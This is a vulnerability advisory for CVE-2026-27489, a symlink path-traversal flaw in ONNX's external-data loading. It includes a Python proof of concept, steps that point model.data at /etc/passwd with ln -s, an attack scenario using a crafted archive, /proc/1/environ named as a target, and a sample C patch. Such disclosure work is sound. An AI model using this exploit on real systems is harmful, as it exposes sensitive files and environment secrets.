CVE-2026-27489

Summary

A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. 

Details

The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:

https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

std::filesystem::isregularfile performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. 

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PoC

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## Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper
def create_onnx_model(output_path="model.onnx"):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)
    X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name="W")
    matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
    graph = helper.make_graph(
        nodes=[matmul_node],
        name="SimpleModel",
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )
    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    onnx.checker.check_model(model)
    data_file = output_path.replace('.onnx', '.data')
    if os.path.exists(output_path):
        os.remove(output_path)
    if os.path.exists(data_file):
        os.remove(data_file)
    onnx.save_model(
        model,
        output_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=os.path.basename(data_file),
        size_threshold=1024 * 1024
    )
if __name__ == "__main__":
    create_onnx_model("model.onnx")

1. Run the above code to generate a sample model with external data.
2. Remove model.data
3. Run ln -s /etc/passwd model.data
4. Load the model using the following code
5. Observe check for symlink is bypassed and model is succesfuly loaded

import onnx
from onnx.external_data_helper import load_external_data_for_model
def load_onnx_model_basic(model_path="model.onnx"):
    model = onnx.load(model_path)
    return model
def load_onnx_model_explicit(model_path="model.onnx"):
    model = onnx.load(model_path, load_external_data=False)
    load_external_data_for_model(model, ".")
    return model
if __name__ == "__main__":
    model = load_onnx_model_basic("model.onnx")

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.

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Impact

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.

NOTE: this issue is not limited to UNIX.

Sample patch

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
int open_external_file_no_symlink(const char *base_dir,
                                  const char *relative_path) {
    int dirfd = -1;
    int fd = -1;
    struct stat st;
    // Open base directory
    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
    if (dirfd < 0) {
        return -1;
    }
    // Open the target relative to base_dir
    // O_NOFOLLOW => fail if final path component is a symlink
    fd = openat(dirfd,
                relative_path,
                O_RDONLY | O_NOFOLLOW);
    close(dirfd);
    if (fd < 0) {
        // ELOOP is the typical error if a symlink is encountered
        return -1;
    }
    // Inspect the *opened file*
    if (fstat(fd, &st) != 0) {
        close(fd);
        return -1;
    }
    // Enforce "regular file only"
    if (!S_ISREG(st.st_mode)) {
        close(fd);
        errno = EINVAL;
        return -1;
    }
    // fd is now:
    // - not a symlink
    // - not a directory
    // - not a device / FIFO / socket
    // - race-safe
    return fd;
}

Resources

• https://cwe.mitre.org/data/definitions/61.html
• https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172
• https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368